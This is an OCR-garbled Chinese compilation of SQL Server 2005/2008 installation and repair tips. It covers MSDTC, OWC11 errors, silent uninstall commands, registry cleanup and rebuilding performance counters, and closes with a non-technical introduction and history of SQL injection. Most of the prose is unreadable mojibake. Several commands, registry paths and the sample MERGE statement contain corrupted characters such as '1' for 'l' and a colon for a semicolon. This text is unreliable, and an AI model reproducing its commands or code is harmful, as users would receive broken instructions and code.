“Help” WM RAEVCHL. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Perf1ib\009]
ER 009 RFECHM—ARfl. “Last Counter” Fl “Last Help” {HZH Windows B4
SR EXAMERBITEEN A FE TG A 02, AHES “\Perflib” T “Last
Counter” F1 “Last Help” {HIME: FEAMIE RS, At di “Last Counter” BY “Last
Help” , i “&ii” , F#idi “Base="Decimal”” , 7E “MA%E” ik BEMH, FEAE “W
BT WEVE, A —ATER LR, SRR RS, FHXIZIT SQL Server
BRFET o

R AR:

COM-+A 5 R A F U 18 58 R AL AT B BB N AR e 3 s 5 e Bl . AL 22
ik RS, Hoth RGNS AL, R e 308 MSDTC RS R 3), 1E
XA T KAREE], MSTDC fEMRSS HEAWKAR], FREEASRE DIC (WA m%E, H

S MSMQ X 2 F)_E S ZAE ), —F FHRA Distributed Transaction Coordinator(DTC),
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ERXANRGHNA T, Ja R AEFLAN K TR MSDTC (Distributed Transaction Coordinator )
JIR %5 D5 Z5i4E NT AUTHORITY\NetworkService WK/* FizfT; EPf#i/& NT AUTHORITY\Network
Service (JERE, Network Ml Service A M) MALT (ETXMAIKS DA, M
EREARE, EEREAFHH

o WS P FE B, MSDTC RS &4k 8iiatT, (HRAEPAT MR R R o> it . 1 B,
FEFMHER R B LUK T R B HE . IEFEIE4T MSDTC %Itk /8
Ao
W HAEH Microsoft Management Console (MMC) W) “ARSS” B FERAICHE 2L 1 RSSIK (S
B, e RAEXME . MSDTC IRESHARLLEZE. lEHAER “HA RS EHE” EH T
MS DTC HRZ5ik 155 .

L SRR B SRk, AT L
TEAR S5 3K Distributed Transaction Coordinator AR%s, #EF “JEME”
TE “BF7 TR, R CObbk T, T HS “NT AUTHORITY\NetworkService”
R YR
FE Rl “BAE” JGEFTH M .
B#, {EfA1T Fig4T msdte —uninstall , E# msdtc AR%5: FI217 msdtc -install ,
7% msdte JRg5. MSTDC MR%5 A sl HAFIRSSh “coMtR 2R AT AT R), _ETii3s 2
Uk b L, BB RREREARAHER, 2 NEE, ZEAE VIR, 5 2 DR
IR AR T o 49K, MRl B AR FIRE I RGP A AR, 7RI IR — T IR e
NPT, A ST LAZA R B R 1) 1) R A AR SRR AR

—. 5ql12005 ZHEEFE owcll HiRALE

224 7 AR o A AR 2 1), 2 BTG com+ H S R — N4y, A R AL H I 2 S L 2
R —BE 22 B i), 75 2 il # b R BB R4 %

Product . OWC11

Error : BiR 1706,

ZRFRETF A BT EN ST B A LSS CD-ROM IRBNFIRES . 3 T34 i)
RIHABFTRERI MR LT %R, WS C:\Program Files\Microsoft
Office\OFFICE11\2052\SETUP. CHM. B[ TLI ocwl 1 AT 2225 SRR 55 4 10 4Lk 4
BT 2, BRI 22 R, #E microsoft ocwll T4k E] microsoft i ocwll, %
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BRI R L T 82 B 5 R B S SRR R 7 o R, 4R R R ocwl L AR E 4R IS W 8% 1%
ocwll. xml, & sql 2005 ¥ server f) setup B3¢ I A M F SCHF4 SO, HUGE IO H R
BliZ ocwl 1 HL I A SO0 B I A SCA 6 I ) setup BLIT 4 3B #0A, ANt & B 2 A chn ()5 4%
AN, — A 10XX, —AN 2052, W, R /& fAS AN [F] BLHIEAT setup H 3 T setup, %
BAG 5 AT 2 A AR R AR 1 SRR, TR IROMLER, 4 setup H 3% T THIN REFR) 9 ocw 11 S0
AP DU L H, UGBTI B ), 2 5 %4 sq12005 —F& D).

=. fFEFR—A XP R4 BRIk 223 SQL Server2000 A SQL Server2005

ER:

Ly TEBESE “BRASEH]” R “drdasefl” MxmaE, AN L2237 SQL 2000 A
vs.net 2005, FrLAHEA SQL 2005 express, (EIXAXFIEHE R —NEH RG24 A0 SL 6] 4%
H, #iAE “F—87 W E—AT s AR, 4 SQL 2005 express SE,  HEFZOXANSE
B, IR PEZE R CBOASEE” 1, BBt A R 4 Fk: Microsoft SQL
Server 2000 JF[A: FHBHIE. A RITFSIFHRIEMER, ES 5 SQL Server 2005 %
FREFFH BN SQL Server 2005 BRALAA: @ “ TR IRAAFRA ) 7 Al “ iR AN ER
PRER” o WRASKEET : WA TR S B R Z P . A AT R RS S, 1
Z0% SQL Server 2005 L HBhk SQL Server 2005 BAHLAAL i) “ T2 i A A A<
FH” EM. ZFR: Microsoft SQL Server 2005 Tools Express Edition fR¥FfI#/E: Ft
PR AT LR S O R A

2. ERBGRGMIIEE, M\ sa iHGEAE R, SR R SR AM,
AR T, U RRESERE T “fEH windows HHER” . FEEFE B Y0 IE (R
&, HHA AEHNE RGN MR PIKS ", B L, BaRE
9, FTABRIERE T A, MHNERGKS, REEE T ARSI B E L wTH
(K2, AE 3R 2235 58 Ja » 3 Bl management studio HUJE , 25 S0 2 45K, 7T LA i FH 7 44 : SYSTEM,
I 4% . NT AUTHORITY, ZA9mi e Bl o6 FAL s &S . FR9E TR, mia) 2RI AR VG,
— AT, PATHERE B, AT TARSEAE. BHLABRFR TR 0, 4k b, my
AR, BOMAR BRI vs. net 2005 225 SQL 2005 express, 1 SQL 2000 ¥4 K
R X B EALF A, BRI EIERE T “fEH windows B &R, L
sa SRANRAE F—FET, BEEHIE sa, WENTERXFETI:
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1. JF#h->Microsoft SQL Server 2005—>RFiE THHIEF, FTJF SQL Server
ConfigurationManager, JEH “SQL Server 2005 MZGHCHE ” , 4% “SQLEXPRESS HIPML” ,
FEFEIL, A “TCP/IP” Fl “Named Pipes” , XPI/M#4ER T, fE SQL 2000 B, Named Pipes
Se AR BRI I, FBH T “TCP/IP” | WA E A IE, Al “TCP/IP” , i “J8
P, “IP HLBE” ARREEL, OB O TR HRE MR <27

2 . JFUh->Microsoft SQL Server 2005->SQL Server Management Studio, SQL 2005
AR VEHE B IX B T, U AINHE, EHM windows B8, MRG0, %
R THIF -

OTELRBI4 EAS, g “JmE” , E5F “=emn” %, £ MEBIHRIE” &
BCR “SQL Server Al Windows 47 .

Q@RITSG 4, RBIT “2att” , BIT “8FFx4L” , %8 “sa” , A, wfE R,
TE “CHAL” PRAFEL, BN CEDT M CBRNERD” , FE ORI FRFHE, “ESR” nHE

“EH” .

OTELHI4 FA S, e “4Fik”, iR <Es)”, W, RACRE Pk T,
SR AT RE B E T A B0, FTLAst 5% T management studio [, 7 sq12005 HL¥EA IR 4% 65 B
2%, EEPERS, B end, FFEE-IEITVend FIE, F omd HEE net start
MSSQL$SQLEXPRESS, SQLEXPRESS & 55454 .

U, Vista 1 win7 F7ER3E vs2008 Bt EH3h%3 sq12005 /5 FE7E A

Ve R IR -

XTI SN, TE2¢%% visual studio 2008 B, WJLAZ%¢ sql server 2005, {HIFAREH
BAEH, b — g, AN SQLServer2005 SSMSEE. msi %¢3% j5 ml LA H ,
HXFF Vista Ml win7 I/, BEBRSE, P SMeE.

FRITT VR

224% SQLServer2005 SSMSEE. msi, £ 43| 29506 X AMERIRAD .

X EAE 22 I e DU B AR B AT o IR AT 08 S T il 2 4 B

1. g MCEA, B nsiexec /i path\SQLServer2005 SSMSEE. msi 4R )5 B 1E
N. emd B2,
2. 1% wintr PREEEE, BT E D, #A cmd #E dos FLIHI
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3. fE dos Ftifi A command prompt

4 XA R NIRI TR, CMD ST, 2R T —A “DUEB R B HiEiT” . m
i VB0 1817, 23 sq12005

Hep 55 2 B0 path BHk SQLServer2005 SSMSEE. msi Fff £ 3443 (1 #4 4%

Fi. SQL Server 2005 %%z B FBH SQL SERVER AR5 H 3% 1k 14

i RE IR -

4% B B e n, HBL T — XA SQL SERVER 45 A2 2 F B k. Masin/
TR A 7 B4 SQL SERVER ANEEWS 56 A E BT AT SQL 123411 . AR 2 B AR S
B PR AERI B o 7E b A B — AN T i n] U A AT 7 Ok ET A SQL.

FRRTTVE:

1: 38 SQL Server MyZededit (330 MANEDEIK.  GER, R 2RI,
SR 2B SR DU AR AR F S R R A

2: FTFFUIRERAR: FFUA/IBAT, BN omd3: 4429 BT 25 9 R A 50y e B i Al e 0
PERRERLRT: M8 od di (WADEEEIER A d)

3: ¥ANFFlir4: Start /wait \setup.exe /qb REMOVE=ALL INSTANCENAME=D:

Ihig: #1%E SQL Server Hiff.

4: FINTFHId4:  Start /wait msiexec /gb /X \Setup\sqlncli.msi [fgREQ I

Ihfg: #1# Microsoft SQL Native Client.

5: MINTHIf4: Start /wait \redist\2. 0\dotnetfx. exe /q:a /d:”install /qu”
k.

Thfg: E1E Microsoft . NET Framework. 6:%Program Files%\Microsoft Sql
Server\90\Setup Bootstrap\ARPWrapper. exe /remove /R e —A, B ja —MHZLLE,
75 XA R ARtk 1 S 7. (FLr i %Program Files%& R RN sql server f{)4%:#44%)
PLTERE AT LA EE B 2234 SQL SERVER 2005 1! sql server ARSI H 245 1 i) & T !

75+ fRYL SQL Server 2005 RIEHHIE, HEHTHE R

] AR IR -

FEEIE Visual Studio 2008 I, #RIN/MIBRFEFF A VF2 K 2300, B ARk
A HI# SQL Server 2005 , TM4GEIEK. Net Framework (#75: #HIZK. net Framework (175
A N BRI ), X SQL Server 2005 wi L EIR, MIFR Program files T
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Microsoft SQL Server AFRMWIEHEIEM . HHr e dbnm i Ll a7 e, HEHE
P — LR

fRRTTE: GiAFA T, SRR iR, UGB IRIR

1. 1% H Windows 2003 N )% FEMR 5%, A B sl 3R A0 M fi—> 8 38— Ik 5%, 15 H SQL
Server (MSSQLSERVER) . SQL Server Agent (MSSQLSERVER). SQL Server FullText Search
(MSSQLSERVER) » SQL Server Browser. SQL Server VSS Writer &5 SQL Server AHFHR%S.

2. NN
(regedit) ——>HKEY LOCAL MACHINE/SYSTEM/CurrentControlSet/Services , FXF|FIE 1 fr
1= ) SQL Server FHRMRSSIEM R, A4 M ER

3+ HBEANVEM K (regedit) —>HKEY LOCAL MACHINE/SOFTWARE/Microsoft, #RZ
Microsoft SQL Server. Microsoft SQL Server 2005 Redist. MSSQLServer ¥z,
H MBS -

4, FEFTRBNEM, 24 SQL Server2005 L) !

. sql server 2005 %3 “HNIFEAREN READ”

] AR IR -
#iSE SQL SERVER DataBase Services ZZZEWTHIL T MG 2 “WNAEAEEN READ”
RGN

— R HBUX AN LG A AN TR RN, — e, BIAE AT A, RARS! T
VLR F: — R YL, WAE IR T REME AR, REEHZ: WEER T W
JRRA W, SO R 2 AN E AN ) 2 R A AR, B R S AN e A
[Fi B S T R A, RS R ARG o AR TS DM MemTest 3X ARSI — T N AF,
" A DAY R A 00 HE P A7 P R B o AR A P A7, T LA AN [5) t RELFD PA) A7 2 VR AT i K
T ZF AR, XA R, KRS, R B AR AN AR T s A e A
2o WURHEREAT, O NE AT HHERR S 1 Sa i U R AR AN (it
MZZEPIX, FEFAER A — LB, FOYBRAH R0, gt kAR MR 2461
Fo AT BT K, SURBONTEE T K EENRS, e Bk . T ARG TE B
BRI XA R, 4% HIUE windows2000 Fl XP R4 E, Windows 2000/XP g}
(B RBAR T2, — BB B IRAES. i 53 24M8h Windows 98 HLIEERRAE, RGN
FefasE, wha il BRI
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J\~ SQL2000 1 SQL2005 FE7E7E R K &

ST I T AN A I B R 2 3 R IR e R 2 4, R R — AR — g )
SRS, AT AEAE . X BB T e%e T Sq12000, N HIFFAA %% Sq12005, iE1T it
WAE RS ASALE. TR BHLABHRE” o B RVFATL, SRJG 23T 2 i (1 52 HF
PR PR ENRE, EeEf SR, sqlserver 2005 LT 20 RGBT E
REE, F R RMNENHE B EPRE R, R IR m] DUS " s Rt i e
BT, HE ORAE “SEfl” HX R OCEM—5, WAL REA N Sql BRAK, EPEERIA
SEGIZEAT T, (BRI T O Sq12000, FrUAiX—=B1Fik “Hrsepis” , SRIGHMASLE 4
BRIV AL ARG VISR, RN E sa %00: F T8 ZEEERAE, —
B N7, BEwdE, e BIPIASRRAR R S .

PIAN RS B0 e 36 F g — 2 ) it

SQL2000 % /'3 T B IEy:3%E #E SQL2005, SQL2005 % 3 T w] LA R34 SQL2000 Al
SQL2005.

SQL2000 fl 452 UR28 & 1433 i 1, SQL2005 i FH ()2 5h A% . did SQL2005 #Efit T
—7> SQL BROWER A%, JFEXARST)a, winl LS &k SQL BROWER Ak 55 %HiE SQL2005
IUAE IEFEAS FABRANS 1. 24K 8007 LA3E SQL2005 A D sk a1, Brod T2
17 SQL ML B PIRE S, $kF SQL [SE1 44 FK T 1 BB, XA L/ TCP/IP WibsL, 7255 ik
TR TPALL HLHfI SQL 3247 13 i r] LA T (A AN RE [R] I 455 328 g 1R s g 11
B SQL R EIA3h) , 1BETe UG EHTE 3 SQL RS B R AR 4. A& ek 15 SR 7598
REgER:, T2 SQL2005 (13 fE B il iR 55

£ Microsoft SQL Server 2005 H1ERINHE A SLVFIZFE G 1], 2B [provider: SQL
M2, error: 26 — & AL4RE KRS H/ LBl A ] O,

B U 7] AT I

BB TH->sql server HMHE N HIECE 2% Mk 55 A A1 LS BC B 2841 FF

TCP/1P 1 named pipes”, i€ J&, B Ja Z0¥s B R 55 5 T DL AR BRI 2 1 sq12000C o 111 1443)
1 sq12005 Cuigld 1433) , MR FEE TR H server=127.0. 0.1 7] LAT5 A sq12005,

H server=HL2842 /524014 0] LAyJia] sq12000 |8/ fiE T FH server=127.0. 0. 1:1443 Jjal
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sq12000 AT . Gn SRR VS MO B S 1, BN B4y

1] server=127.0. 0. 1, 1443,

SQL Server2008 444

SQL Server 2008 f£ Microsoft FI¥HE-F-& EAAm, #BHEKIA LI FEh
B AT R o BT OB SR 2SR A R S A A0 SRS [ R () UG AN 3 AR BB
i B ZE . SQL Server 2008 $Eft— R AN E T MAERRS, FTELN IR AR, HER.
[l A5 Ao BT 2 R o 08l v DA TE S P 4 b, B Ol K IS5 48— B
BTN R 3 1%, 18RI DS B0 1 AN P A B 7 R 7E 8 R
SQL Server 2008 RUFHEAEMI] Microsoft .NET Al Visual Studio JFA&MHIHE
SOBEFHRE 3 o A Pt 76 T 17 R 25 (R 4844 (SOA) AG@EIE Microsoft BizTalk Server #EAT
(b 5 R P A o 15 8 AR N G mT LI A AT H 8 FH 1 TR BB U R B . SQL

Server 2008 ML NAEM. AR BEEEBIE TG, 7T LU 2 I Fa 5k 75K
SQL Server 2008 JLJA 45 MR :

SQL Server £k

SSIS (SQL Server HEpUSS) & —MRAXBIFER, I T IF AT ETL (8546
FEHRRINGR) £, SSIS /8% T SQL 2000 f DTS. #& MRS5S ThEERE A 7 LA i S AT H
ELT AT 1 Wizard SRS THURAES, WAIEEEROEIEEIA. SQL Server
2008 SSIS MITREA IR K SCEEANIG 58, L an & M HAT FE P RE 8 B8 4 M AT $0AT . 7E SSIS
2005, HH B A AERE BTN AL FE A% . T SSTS 2008 fEf7E 22 A FR AL A% b BB A b FE 2% .
1M B EAEAL B R LT e e A3 2 T S e . SSIS SI#Hmidse, BtE LK.

Lookup ZHAEtHFE] T ik, Lookup f& SSTS —ANH ISR I %15 B AU IIAE. L
WM CustomerID EHK Customer Name, ZRHUEHELE . Lookup ££ SSTIS HARH WL, 1M AT LAAL
HEE AT RS, b PERETT REAR 2. SQL 2008 X Lookup fRITEREME AR K sk, i
FLRESS A BN ] (54 V8, 035 ADO. NET, XML, OLEDB FlHAth SSTS FE4ifd.

SQL 2008 FJ LA#AAT TSQL [¥) MERGE 74 . FH MERGE fin 4>, R —MBAH ] LAXAT
#E4T UPDATE. INSERT B{ DELETE. T %55t 4 el MERGE fiy & RALHTHI Inventory
Item descriptions #EiHAN LA M Inventory Master 1. BT descriptions,

NewInventory A& b AN 7 HAth—L83# . W% A MERGE iE4A), b EHATH NS
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ABETERR . 55— A B ILHL K Description ZRJG EHT. 55 ANy A B AL HC ISR J5 i
Ao B T MERGE, —/MBHILA] PASE X AT S . DRI :

MERGE InventoryMaster AS im
USING (SELECT InventorylD, Descr FROM Newlnventory) AS src
ON im. InventoryID = src. InventoryID
WHEN MATCHED THEN
UPDATE SET im. Descr = src.Descr
WHEN NOT MATCHED THEN
INSERT (InventorylID, Descr) VALUES (src. InventorylD, src.Descr):

Gt RS

SSAS (SQL Server 43 #7 IR 5%) G2 TAR KM SCREFIIE 58 . 1B HES M T ek, 1k
BEAFBR R s, MRS S AERE N Scale out PR T HJ{# . Block Computation H134
5T SLARG AT P RE .

E MRS

SSRS (SQL Server RFEMSS) FIALHERE S AL REAF BIRGEE, 15 KAURF A FHHES,
P HIWNAE. 535k, EARREIBRHM SR WA 1 L —8E.  SQL SSRS 2008 ity
BT BERFARAIAERE Y TABLIX. Application Embedding FCVFM /s i o () URL %4
AR R R T o

Microsoft Office 2007

SQL Server 2008 Al 5 Microsoft Office 2007 £ 454, 4N, SQL Server
Reporting Server A&f% ELEAERE S H BN Word Y. 1 HAEF Report Authoring T.5,
Word Fl Excel #A] LI/ESy SSRS #RF MMM . Excel SSAS Hrids T — MRz 4G 1, T2
HERES

TEHE

http://www. duote. com/soft/23320. html

TR

SQL_Server 2008 Z3IFEREIME. partl. rar (976.56 KB)

SQL_Server 2008 Z3E3IFERIM#E. part2. rar (48 KB)
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http://www.mydown.com/soft/utilitie/others/107/439607.shtml
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SQL Server 2008 23 b BRI &

B —: BRRHERNE
EECRII A S (o

TR BB I, I H SO R il T I iR, X H &
SCAFALT R TR SO e

%Program files%\Microsoft sql server\100\Setup bootstrap\Log\Date Time

Pz B B L AE Summary. txt Al Detail. txt SCfFH

1. Jadhsktt

TER AT AL AL 223 SQL Server 2008 I BARFAE A 25K .

2. AR 5 PR IR AR ]

HH S RTE T ML EIZ1TI SQL Server MIRRASFATFZE SQL Server 2008
FEE SRAS BT B8 o 9100, ASCREMCRANY SQL Server Enterprise Edition FHZ4% SQL
Server 2008 Workgroup Edition.

3. LB FRTCAL

HHRAETIE SQL Server 2008 i H24H 1EAf ) 5245 44 7K o

B = BERFEZE SQL Server 2008 FKIJ5 &AL K

T 55 B

1. fE Details. txt HEXHFHI R R, Details. txt HE I EXAH
B .omsi HESCHFRISIH . MR . msi H SO T R 1 sek e

%Program files%\Microsoft sql server\100\Setup bootstrap\Log\Date Time

2. BRI, OGSO L, SR JEEIE SQL Server 2008, ZHEIE SQL
Server 2008, iHfHH] Summary. txt HESCHFAERKER G .

EE:

o ZHEMAHN /q FFRELFR. SAL Server 2008 ACHE@E UL EIERE
AAFREIH . WRAEH /q TR, K TCILEN SRR 51 o

o/instanceid FFIRUWLZ T BT T (K52 B 5 A 44 Bk, BRI BE Z504 F 5281 1D
A RETERENE . BHEEN T, S 1D 5 instanceName MR, 526 1D Al#EATECE . ik,
W2 PR A IE A IR 52481 1D

o BT FiRIEH, HRAFEH Summary. txt H E SO BORHVEI A4 .
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o FHPURME, RGNGHIETFGOSRE . R SAX RIS ARAL ] EIRE
Bam S EEH SQL Server 2008, FHUIFRHEIEIHHE . EWAREFHEM R rA XL HEL
T, ABEIRBIMIBR SQL Server 2008 AN TE 4x %k HT b Zi A8 FH (30 K i 2o
3. kI SQL Server 2008,
B = BRIAIBLHAEET, FEOWATH.
WA LR AP FEBEA T 2 5 o JEHFEAEOLT, i) B2 AL E 5 i
TR I AR, VLI S5 IR R
1. fE Details. txt HEXHFH R, ERE: LAUEH Summary. txt HESL
b SRS BA R
2. REVRIG, 1 H0E 27 2 Uk ) B
3. 28 SQL Server 2008. A, IE{EAT SR FFALBENLL T 74, S35 4% Enter:
Setup. exe /q /ACTION=Repair /INSTANCENAME=instancename
TR BATEGm R E RS mS, mARMER UL
B M. BERS Detail. txt HEXHAE—FRBTFUTAERHEE:
ValidateSkuMatrix R7E SKU HEEH#R 3! ILAC T
WRETHR SQL Server MUANFFGTHRFM, Mo kKA. Fitn, i
M SQL Server 2000 Service Pack 1 (SP1) FFZ&#E SQL Server 2008, i<k I i) .
Hsz, K SQL Server 2008 HSCRFIIF T RIMELAEE, HOrT LAZEREK MSDN
BB, KEIMEES, HERARL.
B Ti: B msxml6 sp2 FIFMT FIHERT SQL2008 224 ) &
FEB— R 251K SQL2008 [k 72 HH 45 3R Hh B0 R 5 T «
B B IR e O IR A W, A LR R, N4 2 A
BRI ? CGE— RN SOAR RO« T2 EHTEIA SQL2008, 5 RS a4 1
KIH. XA 47 RLiz M3 i R H &N F A4k
B b — 4R IR AR E O T AR, B RIBOUR T msxml6 sp2 [k T 5]
iR
fif T AT RLSEAE msxml6 sp2 AN T EIE R, 22358 SQL2008 JE FRATANT .
b VE—R, RARRNR, IR e B
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ML R A HEEHAEMETEER, WE IT BB WG . FATT LRI
MR AT, #% “HE” RY, ST E ARG BRI 7. 4R 2010 &I 735
AR — IR B4 AN, BRI RYS, B B —EE X TR SOk, X
BT 1 T SR AL 3

B N REEFRE, M AERERE BT B

FE 4235 SQL Server 2008 HYFL T FIH iR & :

TERZBSHTAT IS, ZZRAR PR, “PERETPEERENRECE oo — 8t , Rk
R, SWOREFELE, URL #uht: http://support. microsoft. com/kb/300956.,

BARZCF SR HOE T windows 2000 JE3CHR, A AN AE 45, 7E windows xp
Professional HIZHR&EH M. TN A RARIE ZSCENIEAR, EHIEZHEL P
BAE.

L TR . FFHRSRER-—DIBIT-MI regedit, FTHEME:

2. Fk#| HKEY LOCAL MACHINE\Software\Microsoft\Windows NT\Current
Version\Perf1ib\009 yEM I, ¥ Last Counter {H 3B A+t “1846” , ¥ Last Help
EBRCE bR “18477 4

3+ x4k HKEY LOCAL_MACHINE\System\CurrentControlSet\Services VEMRIN, f#H
AR INAE, WL S THE &H performance {130, R4 HRN T E MG

FirstCounter

FirstHelp

LastCounter

LastHelp

4. 7E XP 224440 1386 H 3t TR EI44 4 “PERFC009. DA~ A& “PERFH009.DA ” f¥13C
i, B IR] ¢ MARERT, TS TR, #AS c SRERME, FH
expand fir &R LA XA S, LU

expand PERFH009. DA perfh009. dat BAJ% expand PERFC009.DA  perfc009. dat

¥ expand J& HI3CMF perth009. dat BL K perfc009. dat #5 Il E|%systemroot%system32
HE T, — ML F &2 o \windows\system32 H%, REHSEE B FSCH, & “27 .

5. ITHMAIT TR, WA TF&d

cd %Systemroot%\System32
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http://support.microsoft.com/kb/300956

findstr drivername *. ini

RS, AT LH A2 IR R 4 R LR R ind S0,

TEMAATHII lodetr inifile, inifile /&7 EINER I IREHARFE X B ini SCHF
YR, BIIFEENE TermService X3}, W4 inifile #i/E TermService JRAX M) ini
A4 tslabels. ini, fEATATHINMI A2 U0 R R

lodetr tslabels. ini

6. FRUGHEAT SQL 2008 ZAERTHORII, @id,  “PRRETHEGER” MR T

B0 : &F SQL SERVER 2008 Z23%id#2 82 iAN /) ) B8 K AR U735

AR, N ms xml KBxxxxxxx RGN, LT SQL2008 JoikiF#
7%, TEFLEBXANRGEAT, BEG SQL2008 22223 — MIERA ) .

AR, PRl ms xml KBxxxxxxx
MIRGEAN T, K T SQL2008 oA IE W Z%e, BT LI RSG4h T, Ff/a SQL2008
SR MR .

BT MS XML 7 ZANRAS S 1) KBo FEANIA] K4 AE R G AS - SR AN F)IT KB HUFAR &5
JEEHR A T MX XML F KB 7 A AR IX AN i . A0 S0 2 LA A — A IR = ) MS XML
B LA IS U SRR R I 2 B . AU R SR EI A A MS XML 1) KB, ELBIREIE W 23N
1k

B 238 5 R 7 VR st SQL SERVER 2008 12285 5, 7E4h SQL $T 4 T A2 B
T AR

Message:

A failure was detected for a previous installation, patch, or repair for instance
> MSSQLSERVER’ during configuration for features [Analysis Server Full, ]. In order
to apply this patch package (KB968369), you must resolve any issues with the previous
operation that failed. View the summary. txt log to determine why the previous
operation failed.

HH LI o [a) R ) s 80 22 B R PP o 8 e A AT — IRIB B (repair), {HAE
M AR MR, AEBTEE, BEEPORERAMS. (B35
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“SQL ¥EN” HIHT A AR B B
fe: 251329

“SQLLVEN” AT ZHT, ZZobXuith 2 R A REBE %, BED T W7 E
HM)J5 (4. Code Red. Nimda. SQL Slammer) , HIZEIR 22 W28 B I 224 = iR 5E T,
— R e S 2R RG], T ELR BEAET R AR BT v L R T AR 2 g7 58, P A
SRR XV AR R I A BRRROR B o XN, EEXF CGI3 RRF B & R E KR A
ML, By CGT REFAEH Web B HRE B —#B 4, JEF IR A BIREL,  AH LA IKFR
TR, HAFAEGREE, AL CCI R 5l AT RE BN R R . N I FRATHUR /41 CGI
Bt — K733 SQLVEN.

1. SQL BIZE/ 1% = (Structured Query Language) , —ff ANST (& [HEFZArEFL) i
HEE, ATUR. BIERREIEE RS (Relational database systems) o

2+ G DX Y AR 2 TS I 2 o X PN SE TR MR S BORS R I 1 i XA B 1) 2 R L A
WA A SESEE F. BARENZ: BEFNEIEEKEIFARTE B X KR
A, AR LR 2 R T A AR BB R K B 2 5 AT 0 BC A A7 2 (R AR D A, 3% 5 22 o X

T PR R R E RGP E G b X SRR 9" HERR . (E R MRAEBERE Z1A], 454 24
I IS i A7 AE " HERR” b, " HERR " o tH IR G2 ph XAkt

3. Common Gate Interface, fAIFR CGL. 7EVIHE L& —BtiEfr, BATIEMSS & L, ROLA%
JU Heml SUEIEE o 28007 IERADN AT BRI #HA —MEEAR. BEANL
PERZFEN: B ER Fimim N — 58, M7 RKNARN. #EH PE—T “H
57 (B EATNIE AR P o) 5 WU a0 I L5 BAL IR B IR S5 2 1 CCT H X NRHER
CGI FEFprf, T2 CGI RE/FAEMR S5 & HALITUC )Ty TRHATAREE . FEAG gl dE 7 52
AEHUE BAENTRE RS SRJE OGT R 2 i R iE —ME R, FoRiFRIMES D& 4s
W SRR P RN A B ES “HEER” k. BNERELSR.

“SQLVEN” BAE CA Ry I E il Bt 77 20, it Google. HEESF R 514, W]
PUR AR 22 AH R 3 I SC B B e . R RU imAT,  — 72 BT Web I H f) s 5
S Web Ja G 8AEOME BT, Bihi& 2 L5 R ARAE: 55— 7T, BB iz i PG 1 4
AT, 0 SQLIEAN AL SE T BBl 7 “HAnBUE . KIWEAN R SGEALGE” 2l iE
Hahk, JUHZBBNTER “RIEN R X — R R, ORI 7Bk, fgm 7 W
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1. “SQL ¥EN"HIE X

2 Web S 2 5 #B48 F AU SR AP0 15 5, o SQL iy 2 At At Web R v 4005 2 [A]
e, AR EE T LA IR 2 Web BLFFEIT . 1R 2 Web 3l it #<xFI I P NI S 430 &
Hh A SQL Bk, Heh F A TE URL. R, i HAbp s SR B 2 SQL Ay
A, LAECR A g, S SRR R, AT AT U O AT AN 2 BR 17 1) o
SQL YENIR I B HLE T Web BFAR PP F FR58 CGT S8R R R A id 38 Fl 3852
FRIRCHE AT R 2 0 FH R A3 U 190 Ji5 45 B8 e 1 SQL 454, 0 SR IX s ¥edia ok e A ™A A AT g
Bl NG R SQL AR, AT HERBURAE S & IBER e, T BUNBURAE Bt e . BA S
WA RIS LR B A 5 (8 R D Reds il IR &% 34 AE R Ge. FIA SQL VNI A

PARA AT Web HRZS48 B EF2 50, 0 m] BEFI FH AR 45 25 BU 28 = T il W 4 i () oAt
2. “SQLYEN"HKIPISE

PATE BB — R SQL N IAH 7 5
1998 £ 12 A, Rain Forest Puppy (RFP) f¥ Phrack 54 F&FLE “NT Web Technology
Vulnerabilities” , T {X#EH| SQL 7 FEN;
1999 £ 2 H, Allaire K24 “Multiple SQL Statements in Dynamic Queries” ;
1999 4£ 5 A, RFP 5 Matthew Astley & H %4  “NT ODBC Remote Compromise” ;
20004 2 H,RFP k3£ & “How I hacked Packetstorm - A look at hacking wwthreads
via SQL” , #LERMWFIFIA SQL VAL H51E Packetstorm Wik
2000 4£ 9 H, David Litchfield /£ Blackhat £z F&RFF/MEPF “Application
Assessments on T11S”
2000 4= 10 A, Chip Andrews fE SQLSecurity.com F &% “SQL Injection FAQ ” , EIX
AFHER “SQLIEN” EAARIE
2001 4£ 4 A, David Litchfield £ Blackhat £ b &R EMFEYF “Remote Web
Application Disassembly with ODBC Error Messages” ;
2002 4£ 1 H, Chris Anley REiILL “Advanced SQL Injection in SQL Server” , FIKIK
JER M 1R LT .
2002 4£ 6 F, Chris Anley AL “(more) Advanced SQL” , M4 1 HRFE M
LR HIGHT .
2004 4F Blackhat £xi I,  0x90. org &Afi T SQL ¥E A T.H SQeal ( Absinthe FRTE) .
3. “SQLIEN "M

SQL VEANBUEE AR I EA 10 ZEH 5L, M BEE AR AR 2007 4, HIL T
WA T 2T, SQL VEATCR AR E R Web N R/, b ESLCL 1
TR JEHE FE B 48 DL SRR VN Ao TR B B S AR A IR KN o e T Be Bt AT
fIAEAE SQL FENJRIA B4 ASP JUH -
R (Network World) HUIRS, 2008 4E 5 H 13 H, fEHEKR. &K G
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XA MEEE 5 SQL IEATGE, FF3IARHIBEE S . R, ARIE RIS, 1E 4
ANHREN, AT 3 ORI, 523 WIRE AL DR s ) T k. BN SR BUR
st R1RE [ B WL AA) DX b £ P D 20 8 BB I Rty % i T i 2 3 10, 000 BT/ %
BB 770 B 1 ps. BB E B Google R 5132 M 7T i 0 5 I Zh & ASP
A, DK RASZ A7 AE SQL VEANIRIIFAE AR, e 2l D7 HARM G5 & SQL
Server HHE FERIPIA XA TEL, AFRFERENE (HBFEHINRS S MEE. B
NSRRI, — BYGERHE, X[ S ARSI ™ = B85 & 89 E T
fili OBt ShASRIASAE AL BRI e v B Bt i T RE HH A, 25 T A AR IR W LR 1
Tk s 5t T RE RO R 20 A i, D7 TR IRt ) o B T E I A2 % A 1R 2%

A

WA

wdy MR

1: SQL yEANMH 7~ & E

4. Bif“SQL VEN "I BB

g M TRz e, MBI SQU A %2R COR R T, (HATMRA AR Z Ak
Z ARG BRI S . T RS R EE G ) A —Fh &35 TR R IERR B4 SQL VEA . 4n
N2 o, BEAR AR e B BK R AE Web N A= i A TR AN BRUR LR 2%
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2: FT Web A= vin i #ART SQL v NP §7 712

DR B

TEGRASIT B T ZEX i N AT BN BAE, (I FRS W, WA SHBe . HaEgg “
BUCRRAEN BV T AR P 56 e e T e R B B AU o DA 2 6 T e /INBUBR ¥ — B2 4 4
REAEF root AR A Kdf

SR 2 B PR AR 1 R R/ AT R

1EFH 0408 P A7 1 72

